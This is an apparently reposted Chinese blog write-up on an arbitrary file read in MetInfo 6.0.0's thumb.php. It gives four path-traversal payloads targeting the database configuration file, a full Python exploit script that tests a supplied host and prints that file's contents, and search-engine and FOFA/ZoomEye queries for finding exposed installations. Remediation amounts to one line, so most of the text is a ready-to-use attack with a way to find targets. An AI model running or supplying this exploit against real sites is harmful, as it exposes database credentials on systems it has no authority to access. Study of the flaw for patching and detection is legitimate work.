[漏洞复现] metinfo_6.0.0_file-read(任意文件读取)

本次漏洞复现仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

说明 内容
漏洞编号
漏洞名称 MetInfo 6.0.0 任意文件读取漏洞
漏洞评级 高危
影响范围 * MetInfo 6.0.0
漏洞描述 MetInfo 存在任意文件读取漏洞,攻击者利用该漏洞, 在具有权限的情况下,可以读取网站任意文件,包括配置文件等敏感文件。
修复方案 * 打补丁 升级 上设备

漏洞描述

MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。

漏洞等级

高危

影响版本

  • MetInfo 6.0.0

漏洞复现

基础环境

组件 版本
OS Windows10
Web Server php5.4.45
MetInfo 6.0.0

MetInfo 6.0.0版本链接下载:https://pan.baidu.com/s/16kYqawGMVisbo600c1atzQ?pwd=yuan

漏洞点

/include/thumb.php

image-20230831115004975

第一次测试

/include/thumb.php?dir=..././http/..././config/config_db.php

第二次测试

/include/thumb.php?dir=.....///http/.....///config/config_db.php

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20230831114925215

注意

  • 此POC 仅适用于Windows 系统,Linux 下无效。

深度利用

EXP编写

import requests
import sys

banner = """
MetInfo 6.0.0
   _  _                                   _                              
  | || |  _  _    __ _    _ _      ___   | |__     ___     ___     ___   
   \_, | | +| |  / _` |  | ' \    |___|  | '_ \   / _ \   (_-<    (_-<   
  _|__/   \_,_|  \__,_|  |_||_|   _____  |_.__/   \___/   /__/_   /__/_  
																-yuan-boss
Usage: python3 *.py http://10.4.7.130/metinfo_6.0.0
"""

headers = {
    
    
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {
      
      vul} is Not Exists!")
        exit()

    print(f"[INFO] {
      
      vul} is Exists!")

    for param in dir_list:
        params = {
    
    
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {
      
      res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{
      
      res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

EXP使用案例

image-20230831114320298

漏洞挖掘

指纹信息

传统搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

修复建议

  • 打补丁
  • 升级
  • 上设备

猜你喜欢

转载自blog.csdn.net/weixin_46367450/article/details/132600393